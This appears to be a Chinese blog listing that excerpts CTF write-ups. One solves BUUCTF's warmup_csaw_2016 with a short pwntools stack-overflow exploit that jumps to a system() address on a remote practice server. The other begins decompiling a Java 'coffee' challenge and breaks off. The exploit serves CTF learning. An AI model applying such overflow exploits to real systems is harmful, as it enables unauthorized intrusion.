m0_64236521的博客

buuctf|warmup_csaw_2016 1下载文件运行如下checksec查看下保护file一下，是64位文件拉进ida，发现gets(v5),查看v5,明显的栈溢出找到system，地址40060d直接expfrom pwn import*p=remote('node4.buuoj.cn',28415)payload=b'A'*0x48+p64(0x40060D)p.sendline(payload)p.interactive()得flag...

文件coffee用jd-gui打开，源码如下import java.io.BufferedReader;import java.io.InputStreamReader;public class coffee { public static String encodeone(String str, int n) { String str1 = null; return str1; } private static final byte[] encodingTabl